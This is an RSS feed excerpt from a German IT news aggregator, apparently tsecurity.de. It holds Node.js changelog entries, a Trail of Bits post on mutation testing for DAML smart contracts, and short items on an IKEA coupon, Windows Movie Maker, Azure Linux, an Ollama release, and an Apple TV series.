<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bdd7e20be"><code>3bdd7e20be</code></a>] - <strong>tls</strong>: handle large RSA exponents in X.509 cert (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64093/hovercard">#64093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c96c838977"><code>c96c838977</code></a>] - <strong>tools</strong>: update RUSTC_VERSION for remaining GHA workflows (René) <a href="https://github.com/nodejs/node/pull/64325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64325/hovercard">#64325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee873b7aaf"><code>ee873b7aaf</code></a>] - <strong>tools</strong>: bump <code>temporal_rs</code> version (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63281/hovercard">#63281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea3b870155"><code>ea3b870155</code></a>] - <strong>tools</strong>: remove <code>envinfo</code> from our workflows (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64259/hovercard">#64259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d940f02e8b"><code>d940f02e8b</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 8 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64249/hovercard">#64249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe0ea2bb5d"><code>fe0ea2bb5d</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64010" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64010/hovercard">#64010</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4dceefde1e"><code>4dceefde1e</code></a>] - <strong>tools</strong>: bump undici from 6.24.1 to 6.27.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64031/hovercard">#64031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e187db7d7"><code>6e187db7d7</code></a>] - <strong>tools</strong>: update c-ares updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64194" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64194/hovercard">#64194</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/657a35f5a2"><code>657a35f5a2</code></a>] - <strong>tools</strong>: validate version number in release proposal commit message lint (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64070/hovercard">#64070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17228a861c"><code>17228a861c</code></a>] - <strong>tools</strong>: add GHA benchmark runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60293/hovercard">#60293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d11a71d91"><code>6d11a71d91</code></a>] - <strong>tools</strong>: update <code>build-shared/action.yml</code> to a reusable workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64059" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64059/hovercard">#64059</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a17c50b7f"><code>7a17c50b7f</code></a>] - <strong>tools</strong>: update libffi updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64046/hovercard">#64046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28047a3e71"><code>28047a3e71</code></a>] - <strong>tools</strong>: exclude <code>libffi</code> changes from <code>test-shared</code> GHA CI (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64047" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64047/hovercard">#64047</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58d9685acc"><code>58d9685acc</code></a>] - <strong>typings</strong>: add typing for crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64122/hovercard">#64122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a9dcad44d"><code>7a9dcad44d</code></a>] - <strong>util</strong>: fix OOM in inspect color stack formatting (Ijtihed Kilani) <a href="https://github.com/nodejs/node/pull/64022" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64022/hovercard">#64022</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f01bbbde"><code>d5f01bbbde</code></a>] - <strong>vfs</strong>: reject rename into descendant directory (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64285/hovercard">#64285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b6af91081"><code>0b6af91081</code></a>] - <strong>vfs</strong>: handle current-position sentinel in memory files (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64163/hovercard">#64163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/322230d641"><code>322230d641</code></a>] - <strong>vfs</strong>: support writeFileSync with virtual fds (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64165/hovercard">#64165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9395d209c7"><code>9395d209c7</code></a>] - <strong>vfs</strong>: avoid recursive readdir symlink cycles (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64168" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64168/hovercard">#64168</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbdd7643b6"><code>bbdd7643b6</code></a>] - <strong>vfs</strong>: read RealFSProvider files from open fd (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64104" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64104/hovercard">#64104</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92859b8097"><code>92859b8097</code></a>] - <strong>vm</strong>: fix copying PropertyDescriptor (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64073/hovercard">#64073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9046035475"><code>9046035475</code></a>] - <strong>zlib</strong>: validate flush king for all streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98be4304a3"><code>98be4304a3</code></a>] - <strong>zlib</strong>: validate flush kind for brotli streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/90007a59a9"><code>90007a59a9</code></a>] - <strong>zlib</strong>: expose rejectGarbageAfterEnd option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5933516066"><code>5933516066</code></a>] - <strong>zlib</strong>: reject trailing gzip members in web streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mutation testing comes to DAML]]></title>
<description><![CDATA[In April we released Mewt, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DA...]]></description>
<link>https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</guid>
<pubDate>Wed, 08 Jul 2026 13:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In April we released <a href="https://blog.trailofbits.com/2026/04/01/mutation-testing-for-the-agentic-era/">Mewt</a>, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and use <code>mewt run</code>.</p>
<p>For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.</p>
<h2>Why DAML’s coverage reports lie</h2>
<p>Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least <a href="https://blog.trailofbits.com/2019/01/23/fuzzing-an-api-with-deepstate-part-2/">2019</a>, and <a href="https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/">our primer on finding the bugs your tests don’t catch</a> shows how a green suite can still miss the bug that matters.</p>
<p>DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.</p>
<h2>How mutation testing works</h2>
<p>Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.</p>
<h2>Mutation testing forces the unhappy path</h2>
<p>A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.</p>
<p>Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.</p>
<p>A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.</p>
<h2>What Mewt adds for DAML</h2>
<p>Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream <code>tree-sitter-haskell</code> grammar. DAML is Haskell-shaped, but its contract constructs (<code>template</code>, <code>choice</code>, <code>controller</code>, and <code>signatory</code>) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes <code>/=</code> where most languages write <code>!=</code>). We got most of the value of a from-scratch grammar without building one.</p>
<p>The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:</p>
<ul>
<li>
<p><strong>Controller party swap</strong> (CPS in Mewt’s output): replace one party in a <code>controller</code> clause with another party that is in scope at that site.</p>
</li>
<li>
<p><strong>Controller party removal</strong> (CPR): drop one party from a multi-party controller list.</p>
</li>
</ul>
<p>Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.</p>
<p>Driving a campaign needs no new harness. A short <code>mewt.toml</code> names the files to mutate and the test command (<code>dpm test</code> for a Daml 3 project), and <code>mewt run</code> does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.</p>
<h2>What a surviving mutant looks like</h2>
<p>Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the <code>controller</code> line on the <code>Release</code> choice.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 1: A payment that requires both the buyer and the seller to approve its release</span></figcaption>
</figure>
<p>A typical happy-path test creates the payment and has both parties approve the release. The <code>actAs buyer &lt;&gt; actAs seller</code> line submits the command with both parties’ authority:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">testHappyPath : Script ()
testHappyPath = script do
 buyer &lt;- allocateParty "Buyer"
 seller &lt;- allocateParty "Seller"
 payment &lt;- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer &lt;&gt; actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()</code></pre>
 <figcaption><span>Figure 2: The happy-path test. It passes, and coverage reports 100%.</span></figcaption>
</figure>
<p>The test passes, and by the usual measure the suite looks complete: running <code>dpm test</code> with coverage reporting enabled shows full coverage.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised</code></pre>
 <figcaption><span>Figure 3: The coverage report for the happy-path test. Every template is created and every choice is exercised, for 100% coverage.</span></figcaption>
</figure>
<p>The <code>--coverage-ignore-choice Archive</code> flag deserves a word. Every DAML template automatically gets an implicit <code>Archive</code> choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.</p>
<p>Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang=""> choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 4: The controller-removal mutant that survives the test suite</span></figcaption>
</figure>
<p>Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the <em>forbidden</em> path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the <code>paid == amount</code> check to <code>&lt;=</code> and <code>&gt;=</code>, which survive because the test only ever pays the exact amount.)</p>
<p>Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.</p>
<h2>Limitations and what comes next</h2>
<p>Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.</p>
<p>Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its <code>canton-stablecoin</code> reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.</p>
<p>One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)</code></pre>
 <figcaption><span>Figure 5: The accrueDebt helper. Its first-line guard is a shortcut that returns the same value the calculation already produces.</span></figcaption>
</figure>
<p>Mewt forced the <code>if</code> to always take the <code>else</code> branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.</p>
<p>Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our <a href="https://github.com/trailofbits/skills/tree/main/plugins/mutation-testing">mutation-testing skill</a> that helps configure campaigns for your project, and <a href="https://blog.trailofbits.com/2026/04/23/trailmark-turns-code-into-graphs/">Trailmark</a> with its <code>genotoxic</code> triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.</p>
<p>Also on the roadmap: choice-consumption mutations (<code>consuming</code> vs <code>nonconsuming</code>) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.</p>
<h2>Dive in</h2>
<p>Install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and <code>mewt run</code>. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with <code>dpm</code>, but Mewt just drives whatever test command you configure, so Daml 2 projects using the <code>daml</code> assistant work the same way.</p>
<p>Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.</p>
<p>If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. <a href="https://www.trailofbits.com/contact/">Contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smart Home und mehr günstiger: IKEA: 15-Euro-Gutschein für Family-Mitglieder abstauben]]></title>
<description><![CDATA[Kurzer Tipp für alle Smart-Home-Freunde und Schnäppchenjäger da draußen, die ihr Setup mit den günstigen Komponenten von IKEA erweitern wollen. Derzeit läuft eine ziemlich feine Aktion für alle, die eine IKEA-Family-Mitgliedschaft besitzen. Wer diese hat, kann sich aktuell einen Gutschein...Zum B...]]></description>
<link>https://tsecurity.de/de/3654072/it-nachrichten/smart-home-und-mehr-guenstiger-ikea-15-euro-gutschein-fuer-family-mitglieder-abstauben/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654072/it-nachrichten/smart-home-und-mehr-guenstiger-ikea-15-euro-gutschein-fuer-family-mitglieder-abstauben/</guid>
<pubDate>Wed, 08 Jul 2026 13:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kurzer Tipp für alle Smart-Home-Freunde und Schnäppchenjäger da draußen, die ihr Setup mit den günstigen Komponenten von IKEA erweitern wollen. Derzeit läuft eine ziemlich feine Aktion für alle, die eine IKEA-Family-Mitgliedschaft besitzen. Wer diese hat, kann sich aktuell einen Gutschein...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/smart-home-und-mehr-guenstiger-ikea-15-euro-gutschein-fuer-family-mitglieder-abstauben/">Smart Home und mehr günstiger: IKEA: 15-Euro-Gutschein für Family-Mitglieder abstauben</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sie können den klassischen Windows Movie Maker jetzt wieder herunterladen: So geht’s]]></title>
<description><![CDATA[Im Januar 2017 beschloss Microsoft, das klassische Videobearbeitungsprogramm Windows Movie Maker einzustellen, sehr zur Enttäuschung der Nutzer. Sie konnten damit Videos schneiden und bearbeiten, Effekte einfügen und das finale Ergebnis in verschiedene Dateiformate umwandeln.



Nun wurde jedoch ...]]></description>
<link>https://tsecurity.de/de/3653866/it-nachrichten/sie-koennen-den-klassischen-windows-movie-maker-jetzt-wieder-herunterladen-so-gehts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653866/it-nachrichten/sie-koennen-den-klassischen-windows-movie-maker-jetzt-wieder-herunterladen-so-gehts/</guid>
<pubDate>Wed, 08 Jul 2026 11:47:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Im Januar 2017 beschloss Microsoft, das klassische Videobearbeitungsprogramm Windows Movie Maker einzustellen, sehr zur Enttäuschung der Nutzer. Sie konnten damit Videos schneiden und bearbeiten, Effekte einfügen und das finale Ergebnis in verschiedene Dateiformate umwandeln.</p>



<p>Nun wurde jedoch <a href="https://archive.org/details/windows-movie-maker-6.0-setup" data-type="link" data-id="https://archive.org/details/windows-movie-maker-6.0-setup">die Version 6.0 von Windows Movie Maker im Internet Archive zur Verfügung gestellt</a>, sodass das Programm im Jahr 2026 wieder heruntergeladen werden kann. Über die Downloadseite kommen Sie direkt an die Originalversion des Programms und können es auf Ihrem PC installieren. Die Dateigröße beträgt 8,8 MB, und Sie müssen sich nicht anmelden.</p>



<p>Laut <a href="https://www.windowslatest.com/2026/07/07/i-installed-windows-movie-maker-in-2026-and-it-uses-97-less-ram-than-clipchamp/" data-type="link" data-id="https://www.windowslatest.com/2026/07/07/i-installed-windows-movie-maker-in-2026-and-it-uses-97-less-ram-than-clipchamp/">Windows Latest</a> benötigt Windows Movie Maker 97 Prozent weniger Arbeitsspeicher als sein Nachfolger Clipchamp. Es kann sich also durchaus lohnen, zu testen, ob das Programm noch Ihren Anforderungen entspricht. In unserem Artikel <a href="https://www.pcwelt.de/article/1111069/videoschnitt-movie-maker-videos-schneiden-schritt-fuer-schritt.html" target="_blank" rel="noreferrer noopener">Windows Movie Maker Download &amp; Anleitung: Gratis-Tool für Video-Schnitt</a> finden Sie Anregungen für die ersten Schritte.</p>



<p>Windows Movie Maker 6.0 läuft auch auf neueren Systemen wie Windows 10 und 11, allerdings wurde es eben seit fast zehn Jahren nicht mehr aktualisiert. Sie tun also gut daran, die Speicherfunktion so oft wie möglich zu nutzen, um auf der sicheren Seite zu sein.</p>



<p><a href="https://www.pcwelt.de/article/2980649/kostenlose-online-videobearbeitung-beste-dienste.html" target="_blank" rel="noreferrer noopener">Videos gratis im Browser schneiden: Die besten Online-Tools ohne Installation</a></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure Linux 4.0 Vorabversion: Vom Cloud‑Werkzeug zum eigenen Server‑System]]></title>
<description><![CDATA[Azure Linux basiert auf Fedora und nutzt dessen Paketwelt. Microsoft passt die Komponenten für Azure an und liefert ein gehärtetes Kernel‑Setup. Die ...]]></description>
<link>https://tsecurity.de/de/3653296/windows-server/azure-linux-40-vorabversion-vom-cloudwerkzeug-zum-eigenen-serversystem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653296/windows-server/azure-linux-40-vorabversion-vom-cloudwerkzeug-zum-eigenen-serversystem/</guid>
<pubDate>Wed, 08 Jul 2026 07:15:49 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Azure Linux basiert auf Fedora und nutzt dessen Paketwelt. Microsoft passt die Komponenten für Azure an und liefert ein gehärtetes Kernel‑Setup. Die ...]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.31.2-rc2: llm: allow iGPU mmproj offload with fit padding (#16996)]]></title>
<description><![CDATA[llm: allow iGPU mmproj offload with fit padding

llama.cpp's fit pass sizes text-model placement before the multimodal projector is loaded. Ollama had been avoiding that risk on non-Metal iGPUs by disabling projector offload entirely, which forces CLIP onto CPU on GB10 and Strix Halo even when th...]]></description>
<link>https://tsecurity.de/de/3652863/downloads/v0312-rc2-llm-allow-igpu-mmproj-offload-with-fit-padding-16996/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652863/downloads/v0312-rc2-llm-allow-igpu-mmproj-offload-with-fit-padding-16996/</guid>
<pubDate>Wed, 08 Jul 2026 00:32:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>llm: allow iGPU mmproj offload with fit padding</li>
</ul>
<p>llama.cpp's fit pass sizes text-model placement before the multimodal projector is loaded. Ollama had been avoiding that risk on non-Metal iGPUs by disabling projector offload entirely, which forces CLIP onto CPU on GB10 and Strix Halo even when the projector has ample memory available.</p>
<p>Let integrated GPUs use the same projector-memory check as other GPUs. When projector offload is enabled, add the estimated projector memory plus the existing 1 GiB headroom to Ollama-owned LLAMA_ARG_FIT_TARGET so fit leaves space for the later projector allocation. If Ollama/device setup already supplied a fit target, add the projector pad to it. If the user set LLAMA_ARG_FIT_TARGET explicitly, leave it exactly as provided.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569968989" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/16419" data-hovercard-type="issue" data-hovercard-url="/ollama/ollama/issues/16419/hovercard" href="https://github.com/ollama/ollama/issues/16419">#16419</a></p>
<ul>
<li>review comments</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV Confirms Nocturne Premiere Date, First Look Images Released]]></title>
<description><![CDATA[Apple TV has confirmed Nocturne, its new crime drama series starring Liev Schreiber, Zazie Beetz, and Stephen Graham, will premiere on October 30. The series follows a tense hunt for a serial killer after one of his victims unexpectedly returns alive.




https://twitter.com/AppleTV/status/207449...]]></description>
<link>https://tsecurity.de/de/3652862/ios-mac-os/apple-tv-confirms-nocturne-premiere-date-first-look-images-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652862/ios-mac-os/apple-tv-confirms-nocturne-premiere-date-first-look-images-released/</guid>
<pubDate>Wed, 08 Jul 2026 00:21:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV has confirmed Nocturne, its new crime drama series starring Liev Schreiber, Zazie Beetz, and Stephen Graham, will premiere on October 30. The series follows a tense hunt for a serial killer after one of his victims unexpectedly returns alive.




https://twitter.com/AppleTV/status/2074493672582746234




Nocturne Release Details




Series: Nocturne



Genre: Crime drama, thriller



Episodes: 10 episodes



Premiere date: October 30



Expected finale date: December 25, if Apple follows a weekly release after the first two episodes



Main cast: Liev Schreiber, Zazie Beetz, Stephen Graham



Based on: Lars Kepler’s novels Lazarus and The Sandman




Plot



Nocturne follows Jonah Lynn, an ex-soldier turned homicide detective who leaves Philadelphia for a quieter life in Western Pennsylvania. That peace does not last long after a dangerous serial killer named Jurek Walter threatens his town and family.



The story begins when the victim of a notorious killer suddenly appears alive. Jonah then races to find the one person who is still missing, while FBI Agent Saga Bauer goes undercover to get answers from the killer himself.



Spoiler note: The main setup has been revealed, but Apple has not shared major episode spoilers yet.



FAQs



When does Nocturne premiere on Apple TV?



Nocturne premieres on October 30 on Apple TV.



How many episodes does Nocturne have?



Nocturne has 10 episodes.



Who stars in Nocturne?



The series stars Liev Schreiber, Zazie Beetz, and Stephen Graham in key roles.



